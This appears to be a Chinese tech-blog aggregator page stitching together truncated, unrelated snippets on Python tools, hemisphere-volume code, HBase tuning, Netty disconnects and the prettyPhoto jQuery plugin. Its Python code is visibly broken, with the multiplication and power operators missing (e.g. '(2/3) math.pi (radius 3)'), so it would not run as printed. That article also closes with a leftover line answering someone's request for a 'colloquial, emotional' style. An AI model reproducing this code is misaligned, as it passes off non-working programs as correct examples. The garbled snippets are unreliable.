...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 5种好用的Python工具分享,Python开发软件可根据其用途不同分为两种,Python代码编辑器和Python集成开发工具,两者配合使用极大的提高Python开发人员的编程效率。掌握调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制等操作。 Python常用工具: 1、Python Tutor Python Tutor 是由 Philip Guo 开发的一个免费教育工具,可帮助学生攻克编程学习中的基础障碍,理解每一行源代码在程序执行时在计算机中的过程。通过这个工具,教师或学生可以直接在 Web 浏览器中编写 Python 代码,并逐步可视化地运行程序。如果你不知道代码在内存中是如何运行的,不妨把它拷贝到Tutor里可视化执行一遍加深理解。 2、IPython IPython 是一个 for Humans 的 Python 交互式 shell,用了它之后你就不想再用自带的 Python shell ,IPython 支持变量自动补全,自动缩进,支持 bash shell 命令,内置了许多实用功能和函数,同时它也是科学计算和交互可视化的最佳平台。 3、Jupyter Notebook Jupyter Notebook 就像一个草稿本,能将文本注释、数学方程、代码和可视化内容全部组合到一个易于共享的文档中,以 Web 页面的方式展示。它是数据分析、机器学习的必备工具。回复 “jupyter” 给你看一个基于 jupyter 写的 Python 教程。 4、Anaconda Python 虽好,可总是会遇到各种包管理和 Python 版本问题,特别是 Windows 平台很多包无法正常安装,为了解决这些问题,Anoconda 出现了,Anoconda 包含了一个包管理工具和一个Python管理环境,同时附带了一大批常用数据科学包,也是数据分析的标配。 5、Skulpt Skulpt 是一个用 Javascript 实现的在线 Python 执行环境,它可以让你轻松在浏览器中运行 Python 代码。使用 skulpt 结合 CodeMirror 编辑器即可实现一个基本的在线Python编辑和运行环境。 以上主要介绍Python Tutor、IPython、Jupyter Notebook、Anaconda、Skulpt常见的五种工具。 Python经验分享 学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助! Python学习路线 这里把Python常用的技术点做了整理,有各个领域的知识点汇总,可以按照上面的知识点找对应的学习资源。 学习软件 Python常用的开发软件,会给大家节省很多时间。 学习视频 编程学习一定要多多看视频,书籍和视频结合起来学习才能事半功倍。 100道练习题 实战案例 光学理论是没用的,学习编程切忌纸上谈兵,一定要动手实操,将自己学到的知识运用到实际当中。 最后祝大家天天进步!! 上面这份完整版的Python全套学习资料已经上传至CSDN官方,朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_67991858/article/details/128340577。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-14 09:38:26
43
转载
.net
...以便客户端验证其身份合法性。如果证书链不完整或其中某个中间证书存在问题,则会导致非法或损坏的证书链错误,进而影响SSL/TLS连接的成功建立。
2023-05-23 20:56:21
439
烟雨江南
Python
...ere,它接受一个参数 radius(即半球的半径),然后根据上面提到的公式计算并返回半球的体积。最后,我们通过给定半径为5单位来测试我们的函数。 示例2:增加用户交互 python import math def calculate_volume(): radius = float(input("请输入半球的半径:")) volume = (2/3) math.pi (radius 3) print(f"半球的体积约为:{volume:.2f}") calculate_volume() 在这个版本中,我们增加了用户交互功能,允许用户输入半球的半径,然后程序会输出对应的体积。这儿用的是 input() 函数来抓取大伙儿的输入,然后用 print() 函数把结果弄得漂漂亮亮的,保留俩小数点,看着就顺眼。 示例3:面向对象编程 python import math class Hemisphere: def __init__(self, radius): self.radius = radius def volume(self): return (2/3) math.pi (self.radius 3) 创建半球实例 hemisphere = Hemisphere(5) print(f"半球的体积为:{hemisphere.volume():.2f}") 这个版本采用了面向对象的方法,定义了一个名为 Hemisphere 的类,该类包含一个构造函数和一个方法 volume() 来计算体积。通过这种方式,我们可以更方便地管理和操作半球的相关属性和行为。 4. 总结与反思 通过上述三个不同的示例,我们可以看到,即使是同一个问题,也可以用多种方式来解决。从最基本的函数调用,到让用户动起来的交互设计,再到酷炫的面向对象编程,每种方式都有它的独门绝技。这事儿让我明白,在编程这个圈子里,其实没有什么绝对的对错之分,最重要的是得找到最适合自己眼下情况和需要的方法。 同时,这次探索也让我深刻体会到数学与编程之间的紧密联系。很多时候,我们面对的问题不仅仅是技术上的挑战,更是对数学知识的理解和应用。希望能给你带来点灵感,不管是学Python还是别的啥,保持好奇心和爱折腾的精神可太重要了! 好了,这就是今天的内容。如果你有任何想法或疑问,欢迎随时留言讨论。让我们一起继续学习,享受编程带来的乐趣吧! --- 这篇文章旨在通过具体案例展示如何利用Python解决实际问题,同时穿插了一些个人思考和感受,希望能够符合你对于“口语化”、“情感化”的要求。希望对你有所帮助!
2024-11-19 15:38:42
113
凌波微步
HBase
...断尝试和探索。就像调参数时,千万得瞪大眼睛盯着系统的响应速度、处理能力还有资源使用效率这些指标的变化,这些可都是我们判断优化效果好坏的重要参考依据。 总之,针对HBase的I/O和CPU优化不仅关乎技术层面的深入理解和灵活运用,更在于对整个系统运行状态的敏锐洞察和精准调控。每一次实践都是对我们对技术认知的深化,也是我们在大数据领域探索过程中不可或缺的一部分。
2023-08-05 10:12:37
506
月下独酌
Netty
...心跳机制未配置或配置不合理:Netty支持心跳机制(如TCP KeepAlive)来检测连接是否存活,若未正确配置,可能导致连接被误判为已断开。 java b.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 30000); // 设置连接超时时间 b.handler(new ChannelInitializer() { @Override protected void initChannel(SocketChannel ch) throws Exception { ChannelPipeline p = ch.pipeline(); p.addLast(new IdleStateHandler(60, 0, 0)); // 配置读空闲超时时间为60秒,触发心跳检查 // ... 其他处理器添加 } }); (3) 资源未正确释放:在客户端程序执行过程中,如果未能妥善处理关闭逻辑,如Channel关闭不彻底,可能会导致新连接无法正常建立,从而表现为频繁断开。 java channel.closeFuture().addListener((ChannelFutureListener) future -> { if (!future.isSuccess()) { log.error("Failed to close channel: {}", future.cause()); } else { log.info("Channel closed successfully."); } // ... 释放其他相关资源 }); 4. 解决方案与优化建议 针对上述可能的原因,我们可以从以下几个方面着手: - 增强网络监控与报警:当网络状况不佳时,及时调整策略或通知运维人员排查。 - 合理配置心跳机制:确保客户端与服务器之间的心跳包发送间隔、确认等待时间以及超时重连策略符合业务需求。 - 完善资源管理:在客户端程序设计时,务必确保所有网络资源(如Channel、EventLoopGroup等)都能在生命周期结束时得到正确释放,防止因资源泄露导致的连接异常。 - 错误处理与重试策略:对连接异常断开的情况制定相应的错误处理逻辑,并结合重试策略确保在一定条件下可以重新建立连接。 5. 结语 面对Netty客户端连接服务器时的异常断开问题,我们需要像侦探般抽丝剥茧,寻找背后的真实原因,通过细致的代码优化和完善的策略设计,才能确保我们的网络通信系统既稳定又健壮。在开发的这个过程里,每位开发者都该学会“把人放在首位”的思考模式,就像咱们平时处事那样,带着情感和主观感知去理解问题、解决问题。就好比在生活中,我们会积极沟通、不断尝试各种方法去维护一段友情或者亲情一样,让那些冷冰冰的技术也能充满人情味儿,更加有温度。
2023-09-11 19:24:16
220
海阔天空
转载文章
...容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 一、prettyPhoto简介 prettyPhoto是一款基于jquery的轻量级的lightbox图片播放浏览插件,它不仅支持图片,还同时支持视频、flash、YouTube、iframe和ajax。而且prettyPhoto配置和使用都十分简单,扩展性也不错,你可以最大限度地自定义prettyPhoto。目前,prettyPhoto兼容大部分主流的浏览器,包括令人纠结的IE6。 prettyPhoto插件的项目地址:http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/ 建议英文好的朋友直接去官网上了解这个插件的用法,如果你的英文很烂,那么也别急,下面我就给大家来一一介绍prettyPhoto的使用方法。 二、prettyPhoto使用方法介绍 1、引入jquery核心库和prettyPhoto插件库以及prettyPhoto样式表文件 复制代码代码如下: <script src="js/jquery.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen" charset="utf-8" /> <script src="js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> 2、初始化jquery插件,以下是最简单的配置的js代码 复制代码代码如下: $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto(); }); 下面是每种类型的html代码 1、单张图片 复制代码代码如下: <a href="images/fullscreen/2.jpg" rel="prettyPhoto" title="This is the description"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册 复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频 复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片 复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站(iframe) 复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本 复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢,这个是播放普通文本的html</p> </div> 9、AJAX内容 复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用,赶紧用它来打造你的专属相册吧! 本篇文章为转载内容。原文链接:https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-14 22:09:23
279
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
pgrep process_pattern
- 根据进程名模式搜索进程ID。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"